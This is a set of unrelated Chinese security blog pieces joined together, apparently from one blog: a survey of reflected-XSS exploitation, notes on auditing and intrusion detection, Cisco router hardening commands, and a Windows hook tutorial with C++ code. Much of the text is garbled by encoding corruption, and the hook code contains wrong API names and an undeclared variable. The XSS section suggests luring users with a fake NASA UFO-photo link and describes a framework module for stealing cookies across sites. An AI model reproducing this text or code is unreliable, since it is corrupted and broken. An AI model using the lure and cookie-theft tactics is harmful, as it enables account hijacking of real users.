XSS的类型大体分ZU:反射型XSS和持久型XSSQ相比之下,后者的利用要比前者方便许多。甚臌多h认ؓ反射型的XSS是鸡肋,因ؓ其利用v来很不方便,但在安全技术飞速发展的今天Q鸡肋也有变鸡翅的一天。下面我们来看看什么是反射型XSS.
什么是反射型XSS
XSS又叫CSS (Cross Site Script) Q跨站脚本攻凅R它指的是恶意攻击者往Web面里插入恶意html代码Q当用户览该页之时Q嵌入其中Web里面的html代码会被执行Q从而达到恶意攻ȝLҎ目的?/p>
那么什么是反射型XSS?黑哥Ҏ讲的是Ş?
非持久性XSS(Reflected cross-site scripting)Q是我们通常所说的反射型XSSQ也是最常用Q用最q的一U方式。它通过l别人发送带有恶意脚本代码参数的URLQ当URL地址被打开ӞҎ的恶意代码参数被HTML解析、执行。它的特Ҏ非持久化Q必ȝLd有特定参数的链接才能引v?/p>
持久性XSS(Persistent cross-site scripting)Q指的是恶意脚本代码被存储进被攻ȝ数据库,当其他用h常浏览网|Q站点从数据库中d了非法用户存入非法数据,恶意脚本代码被执行。这U攻ȝ型通常在留a板等地方出现?/p>
很多人非帔R视非持久性XSS(反射型XSS)Q认UXSS只能依靠ƺ骗的手D去骗h点击Q才能让d正常实施h。其实让反射型XSS变得持久的方法,已经出现q好多次了。比如利用applet、利用flash的AS脚本、利用IE的Ghost 面QCross Iframe Trick{等?/p>
反射型XSS的常见利用方?/p>
既然?#8220;需要欺骗用戯己去点击链接才能触发XSS”Q那利用反射型XSS岂不是只有去忽悠用户q一U方?攑֜几年前也许是q样的,现如今,p上演鸡肋变鸡的好戏? ·ƺ骗 不得不说q是最单有效的利用Ҏ了,但对忽悠的能力有严格的要求,不然用户不会那么Ҏ上钩的。其ơ,现在的用户都有了一定的安全意识Q也不是那么好骗了。以上面提到的链接ؓ例,׃是NASA|站的跨站,大家完全可以在一些天文爱好者聚集的里发类DL消息Q如Q?#8220;国航空航天局公布最新UFO照片”然后加上我们的链接。由于是NASA的链?现在q小学生都知道NASA是干什么的)Q我惛_该会有一部分人相信而去点击从而达C我们的目的,q个反射型的XSS被触发。但如果不是q么y?请往下看?/p>
·ClickJacking 在去q的OWASP会议上,ClickJackingq种d方式被提了出来。简单来说ClickJacking大致是这么回事: 1. 表现为点L个链接或buttonӞ实际上是点击到别的地方去?劫持链接) 2. 不一定需要javascriptQ所以noscript也挡不住Q但是如果有javascript会让事情更简?/p>
3. d是基于DHTML?/p>
4. 需要攻击者一定程度上控制面 所以,我们只要用L点击劫持到我们的链接上去p了,而且ClickJacking是可以跨域的哦~ 具体应用CZ大家去google下就有了?/p>
·l合CSRF技?/p>
CSRF是伪造客Lh的一U攻击,CSRF的英文全U是Cross Site Request ForgeryQ字面上的意思是跨站点伪造请求。这U攻L式是国外的安全h员于2000q提出,国内直到06q初才被x?/p>
l合CSRF技术来利用反射型XSS是种不错的方法,利用CSRF可以使得q些不好利用的XSS漏洞变得威力无穷。具体示例请参考余弦的《基于CSRF的XSSd?http://huaidan.org/archives/2561.html)Q这里就不细说了Q有Z专门写篇关于CSRF的paper. ·Cross Iframe Trick 先讲讲这U攻击能够达成什么效果: 1. 跨域执行脚本(IE、Firefox) 2. 把非持久性XSS变成持久性XSS —?gt;!!! 3. 跨页面执行脚?/p>
q种dҎ比较l,具体请参考《Cross Iframe Trick?http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html) ·反{雅典娜——配合Anehta的回旋镖模块 什么是Anehta? Anehta是一个跨站脚本攻?XSS)的利用^台。功能模块化Q开发者可以单独ؓanehta开发各U各L模块Q以满独特的需求。Anehta中有许多的具有创意的设计Q回旋镖模块(Boomerang)Q就是其中一个。回旋镖模块的作用,是ؓ了跨域获取本地cookieQ只是在站点上有一个XSSQ种cM限,不管是反型XSSQ还是持久型XSSQ都可以为我们工作?/p>
q时Q反型XSS的余热就被充分的发挥了?/p>
析Anehta回旋镖模块工作原?/p>
既然提到了Anehta的Boomerang模块Q那q单说说吧?/p>
Boomerang的工作原理:我们知道Q浏览器被XSSd后,d者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面,可以l用B站上的XSS_B控制用户的浏览器行ؓ; 那么把整个过E结合v来,单表C如下: victim Browser —?gt;site AQXSS_A —?redirect to —?gt;Site BQXSS_B —?redirect somewhere —?gt;…… 在IE中,iframe、img{标{N是拦截本地cookie的。需要用不拦截cookie的比?window.open{方法,但是window.open会被IE拦截弹出H口Q所以axis牛在Boomerang中用了表单提交Q构造一个formQ向site B提交Q然后再从Site B导入一个XSS BQ获取了cookie后,再通过表单提交Q蟩转回原来的Site A.如果在Site B上,使用XSS_B再将面重新定向?Site AQ那么对于用h_是单的闪了一下,非常hƺ骗性,整个q程像用回旋镖扔出L了一下B一栗?/p>
但其实这q没有把反射型XSS真正的变成持久型的XSSQ只是反型XSS的一U攻L式而已Q也没有跨域Q而是URL重定向{了一圈,跳了一圈又回来了。但q确实是让反型XSS得到了充分的利用Q达C我们的目的。axis牛的q种思\非常值得我们学习! 结 本文只ȝ了常见的反射型XSS利用的方法,但都是简单的提了下,起到了个抛砖引玉的作用,让大家见到反型XSS时能惛_q些(貌似要都详细写出来就太多? -Q?Q如有不之处还请各位见谅?/p>
审计技术:产生、记录ƈ查按旉序排列?strong style="mso-bidi-font-weight: normal">pȝ事g记录的过E?/span>
审计的目标:
定和保持系l活动中每个人的责Q
重徏事g
评估损失
系l的问题?/span>
提供有效的灾难恢?/span>
l织pȝ的不正当使用
审计的前提:有一个支配审计的规则?/strong>?/span>
规则集:通常以安全策略的形式明确表述?/span>
_审计Q风险和威胁分类?/span>
实时入R系l,提出反常zd与计机不正当用之间的相关性?/span>
ZL的入侉|?/span>
ZL和基?strong style="mso-bidi-font-weight: normal">|络入R的集成
?/span>Computer Security Threat Monitoring and Surveillance?/span>, James P. Anderson
《计机安全威胁监控与监视?/span>
_审计的目标在于从安全审计跟踪数据中消除冗余或无关的记录?/span>
计算机系l威胁分c:外部渗透、内部渗透和不法行ؓ?/span>
提出了利用审计数据跟t监视入侉|动的思想?/span>
NSM(Network Security Minitor)
W一ơ将|络?/strong>作ؓ审计数据的来源,因而可以在不将审计数据转换成统一格式的情况下监控异ŞL?/span>
两大阵营正式成立Q基于网l的IDS和基于主机的IDS
DIDS //???
最早试图把ZL和网l监视的Ҏ集成在一赗?/span>
三个功能部gQ信息收集、信息分析、信息处理?/span>
1Q信息收集:
pȝ或网l的日志文g。日志中记录了行为类型及其信息?/span>
?#8220;用户zd”Q?/span>
信息Q登陆,用户ID改变Q用户对文g的访问,授权Q认证信息等?/span>
不期望的行ؓQ重复登陆失败,dC期望的位|,非授权的企图讉K重要文g{?/span>
2Q信息分析:
模式匚wQ误用检)
收集到的信?strong style="mso-bidi-font-weight: normal">与已?/strong>|络入R和系l误用模式的数据库进行比?/strong>Q从而发现违背安全策略的行ؓ?/span>
一般一?strong style="mso-bidi-font-weight: normal">q攻模式可以用一?strong style="mso-bidi-font-weight: normal">q程Q如执行一条指令)或一?strong style="mso-bidi-font-weight: normal">输出Q如获得权限Q来表示。该q程可以很简单(如通过字符串匹?/strong>以寻找一个简单的条目或指?/strong>Q,也可以很复杂Q如利用正规的数学表辑ּ来表C?strong style="mso-bidi-font-weight: normal">安全状态的变化Q?/span>
l计分析Q异常检)
首先l系l对象(如用戗文件、目录和讑֤{)创徏一个统计描qͼl计正常使用时的一些测量属性(如访问次数、操作失败次数、g时等Q?/span>
量属性的q_值将被用来与|络、系l的行ؓq行比较QQ何观察值在正常范围之外Ӟp为有入R发生?/span>
完整性分析(往往用于事后分析Q?/span>
主要x某个文g或对象是否被更改。经常包括文件和目录的内容和属性,它在发现被更改的、被安装木马的应用程序方面特别有效?/span>
3Q信息处?/span>
不可忽视的\由器安全
路由?Router)是因特网上最为重要的讑֤之一Q正是遍布世界各地的C万计的\由器构成了因特网q个在我们的w边日夜不停地运转的巨型信息|络?#8220;桥梁”。在因特|上Q\由器扮演着转发数据?/strong>“驿站”的角Ԍ对于黑客来说Q利用\由器的漏z发h击通常是一件比较容易的事情Q攻击\由器?strong>费CPU周期Q误g息流量,使网l陷于瘫?/strong>Q通常好的路由器本w会采取一个好?strong>安全机制来保护自己,但是仅此一Ҏq远不够的,保护路由器安全还需要网员?strong>配置和管?/strong>路由器过E中采取相应的安全措施?/p>
路由器数据流C意?/p>
行的\由器大多是以g讑֤的Ş式存在的Q但是在某些情况下也用程序来实现“软g路由?#8221;Q两者的唯一差别只是执行的效率不同而已?strong>路由器一般至和两个|络相联QƈҎ它对所q接|络的状态决定每个数据包的传输\径。\由器生成q维护一张称?#8220;路由信息?#8221;的表|其中跟踪记录盔R其他路由器的地址和状态信息?/p>
路由器用\׃息表q根?strong>传输距离?strong>通讯费用{优化算法来军_一个特定的数据包的最佳传输\径。正是这U特点决定了路由器的“?#8221;Q它能够Ҏ盔R|络的实际运行状况自动选择和调整数据包的传输情况,最大的努力以最优的路线和最的代h数据包传递出厅R\由器能否安全E_地运行,直接影响着因特|的zdQ不因Z么原因出现\由器L、拒l服务或是运行效率急剧下降Q其l果都将是灾难性的?/p>
路由器的安全剖析
路由器的安全性分两方面,一斚w?strong style="COLOR: red">路由器本w的安全Q另一斚w?strong style="COLOR: red">数据的安?/strong>。由于\由器是互联网的核心,是网l互q的关键讑֤Q所以\由器的安全要求比其他讑֤的安全性要求更高,L的安全漏z最多导致该L无法讉KQ\由器的安全漏z可能导致整个网l不可访问?/p>
路由器的安全漏洞可能存在理上的原因?strong style="COLOR: red">技?/strong>上的原因。在理上,对\由器口op糕的选择?strong>路由协议授权机制的不恰当使用、错误的路由配置都可能导致\由器工作出现问题Q技术上路由器的安全漏洞可能有恶意攻击,?strong>H听、流量分析、假冒、重发、拒l服务、资源非授权讉K、干扰、病?/strong>{攻凅R此外,q有软g技?/strong>上的漏洞Q诸?strong>后门、操作系l漏z、数据库漏洞、TCP/IP协议漏洞、网l服?/strong>{都可能会存在漏z?/p>
Z使\由器?strong>合法信息完整、及时、安?/strong>地{发到目的圎ͼ许多路由器厂商开始在路由器中d安全模块Q比如将防火墙、VPN、IDS、防病毒、URLqo{技术引入\由器当中Q于是出C路由器与安全讑֤融合的趋ѝ从本质上讲Q增加安全模块的路由器,在\由器功能实现斚w与普通\由器没有区别Q所不同的是Q添加安全模块的路由器可?strong>通过加密、认证等技术手D增强报文的安全?/strong>Q与专用安全讑֤q行有效配合Q来提高路由器本w的安全性和所理|段的可用性?/p>
而ؓ了保护\由器安全Q我们还必需考虑路由器的配置问题。一般来说\由器的配|方式可以通过?strong>LConsole口接l端
也正因ؓq样Q致使很多\由器的管理员对这个不怎么兛_Q只要网l畅通就可以了,因ؓ路由器通常都是厂家负责l护的。甚x些厂家ȝ附带一句说:“如果忘记了口令,请和l销商联pR?#8221;事实上,qUnix都有很多漏洞Q何况\由器脆弱的操作系l?当然路由?strong>一般是无法渗入?/strong>。因为,你无法远E登录,一般管理员都不会开的?strong>但是让\由器拒绝服务的漏z很?/strong>。而且Q很多管理员有个毛病Q他们往往?a target=_blank>Windows的操作系l补丁打得比较勤Q但是对路由器的操作pȝ的补丁,很多理员都懒得ȝ?/p>
路由器五大类安控技?/strong>
讉K控制技?/strong>Q用户验证是实现用户安全防护的基技术,路由器上可以采用多种用户接入的控制手D,如PPP、Webd认证、ACL?02.1x协议{,保护接入用户不受|络dQ同时能够阻止接入用hd他用户和|络。基于CA标准体系的安全认证,进一步加问控制的安全性?/p>
传输加密技?/strong>Q?strong>IPSec是\由器常用的协议,借助该协议,路由器支?strong>建立虚拟专用|?VPN
防火墙防护技?/strong>Q采用防火墙功能模块的\由器h报文qo功能Q能够对所有接收和转发的报文进行过滤和查,查策略可以通过配置实现更改和管理。\由器q可以利用NAT/PAT功能隐藏内网拓扑l构Q进一步实现复杂的应用|关(ALG)功能Q还有一些\由器提供Z报文内容的防护。原理是当报文通过路由器时Q防火墙功能模块可以Ҏ文与指定的访问规则进行比较,如果规则允许Q报文将接受查,否则报文直接被丢弃,如果该报文是用于打开一个新的控制或数据q接Q防护功能模块将动态修Ҏ创徏规则Q同时更新状态表以允怸新创建的q接相关的报文,回来的报文只有属于一个已l存在的有效q接Q才会被允许通过?/p>
入R技?/strong>Q在安全架构中,入R?IDS)是一个非帔R要的技术,目前有些路由器和高端交换机已l内|IDS功能模块Q内|入侉|模块需要\由器具备完善的端口镜?一对一、多对一)和报文统计支持功能?/p>
HA(高可用?Q提高自w的安全性,需要\由器能够支持备䆾协议(如VRRP)和具有日志管理功能,以得网l数据具备更高的冗余性和能够获取更多的保障?/p>
入R路由器的手法及其对策 通常来说Q黑客攻击\由器的手D与袭击|上其它计算机的手法大同异Q因Z严格的意义上讲\由器本n是一台具备特D命的电脑Q虽然它可能没有Z通常熟识的PC那样的外观。一般来Ԍ黑客针对路由器的d主要分ؓ以下两种cdQ一是通过某种手段或途径获取理权限Q?strong>直接侵入到系l的内部 在第一U入侉|法中Q黑客一般是利用pȝ用户?strong>_心
因此Q现有的针对路由器的黑客d大多数都可以归入W二cLLD늚范畴。这U攻ȝ最l目的ƈ非直接R入系l内部,而是通过向系l发送攻L数据包或在一定的旉间隔里,向系l发送数量巨大的“垃圾”数据包,以此大量耗费路由器的pȝ资源Q其不能正常工作,甚至d崩溃?/p>
路由器是内部|络与外界的一个通信出口Q它在一个网l中充当着q带宽和{换IP地址的作用,实现量外部IP地址数量让内部多台电脑同时访问外|,一旦黑客攻陯\由器Q那么就掌握了控制内部网l访问外部网l的权力Q而且如果路由器被黑客使用拒绝服务dQ将造成内部|络不能讉K外网Q甚至造成|络瘫痪。具体来_我们可以实施下面的对{:
Z防止外部ICMP重定向欺?/strong>Q我们知道攻击者有时会利用ICMP重定向来对\由器q行重定向,本应送到正确目标的信息重定向到它们指定的讑֤Q从而获得有用信息。禁止外部用户用ICMP重定向的命o是:interface serial0 no ip redirects?/p>
在防?strong>外部源\由欺?/strong>Ӟ我们知道源\由选择是指?strong>用数据链路层信息来ؓ数据报进行\由选择
如何防止盗用内部IP地址?׃d者通常可能会盗用内部IP地址q行非法讉KQ针对这一问题Q可以利用Cisco路由器的ARP命o固定IP地址l定到某一MAC地址之上。具体命令:arp 固定IP地址 MAC地址 arpa?/p>
而要在源站点防止smurfQ关键则?strong>L所有的向内回显hQ这p防止路由器将指向|络q播地址的通信映射到局域网q播地址。可以在LAN接口方式中输入命令:no ip directed-broadcast?/p>
钩子函数可以截获q处?u>其他应用E序的消?/span>。每当特定的消息发出Q在没有到达目的H口前,钩子E序先捕获该消息,亦即钩子函数先得到控制权。这旉子函数即可以加工处理Q改变)该消息,也可以不作处理而l传递该消息Q还可以强制l束消息的传递?br>钩子的种cd多,每种钩子可以截获q处理相应的消息Q如键盘钩子可以截获键盘消息Q外壳钩子可以截取、启动和关闭应用E序的消息等
关于HOOK
Hooks
A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.
安装一个HOOKQSetWindowsHookEx
ҎU类型的钩子?span style="background-color: #c0c0c0;">pȝ来维护一个钩子链Q最q安装的钩子攑֜铄开始,而最先安装的钩子攑֜最后,也就?span style="background-color: #c0c0c0;">后加入的先获得控制权?br>The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
HHOOK SetWindowsHookEx(
int idHook, // hook type.h看MSDN获得详细信息
HOOKPROC lpfn, // hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // thread identifier
);
得到控制权的钩子函数在完成对消息的处理后Q如果想要该消息l箋传递,那么它必调用另外一个SDK中的API函数CallNextHookEx来传递它?br>(对一个事件处理的hook可能有多个,它们成链Ӟ使用CallNextHookEx一U一U地调用。简单解释过来就?#8220;调用下一个HOOK” )
CallNextHookEx
The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
LRESULT CallNextHookEx(
HHOOK hhk, // handle to current hook
int nCode, // hook code passed to hook procedure
WPARAM wParam, // value passed to hook procedure
LPARAM lParam // value passed to hook procedure
);
hook处理函数
LRESULT CALLBACK HookProc(
int nCode,
WPARAM wParam,
LPARAM lParam
);
取消HOOK
UnhookWindowsHookEx
The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.
BOOL UnhookWindowsHookEx(
HHOOK hhk // handle to hook procedure
);
CZQ?br>[code]
// 监视鼠标消息
// hook处理函数声明
LRESULT CALLBACK MyMouseProc(int nCode, WPARAM wParam, LPARAM lParam);
static BOOL StartWatchingMouse(); // 开始监?br>static void StopWatchingMouse(); // l束
static HHOOK hHook = NULL; //hook指针
/*======================================================
*Function:StartWatchingMouse()
*Author:wuhuiran 05-7-23
*Desc:开始监视鼠?br>*Record:
--------------------------------------------------------
========================================================*/
BOOL StartWatchingMouse()
{
hHook = SetWindowHookEx(WM_MOUSE, (HOOKPROC) MyMouseProc,
(HINSTANCE) NULL, GetCurrentThreadId());
if(!hHook)
{
return FALSE;
}
return TRUE;
}
/*======================================================
*Function:StartWatchingMouse()
*Author:wuhuiran 05-7-23
*Desc:取消监视鼠标
*Record:
--------------------------------------------------------
========================================================*/
void StopWatchingMouse()
{
if(hHook)
{
UnHookWindowHookEx(hHook);
hHook = NULL;
}
}
/*======================================================
*Function:StartWatchingMouse()
*Author:wuhuiran 05-7-23
*Desc:HOOK处理函数
*Record:
--------------------------------------------------------
========================================================*/
LRESULT CALLBACK MyMouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode < 0)
{
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
MOUSEHOOKSTRUCT *pMouseHookStruct; //鼠标HOOKl构?br>pMouseHookStruct = (MOUSEHOOKSTRUCT *)lParam;
POINT pt = pMouseHookStruct->pt;
//动一下鼠标就会显C鼠标位|?br>CString strMsg;
strMsg.Format("x:\t%d\ny:\t%d", pt.x, pt.y);
AfxMessageBox(strMsg);
return CallNextHookEx(myHook, nCode, wParam, lParam);
}
[/code]
注意Q?br>hook会ɾpȝ变慢Q除非必要,不要频繁使用。在不用的时候尽快删?br>全局钩子必须攑֜DLL?/p>
只是单介l了一下钩子函数的使用ҎQ具体的函数介绍请参阅MSDN和其他文章?/p>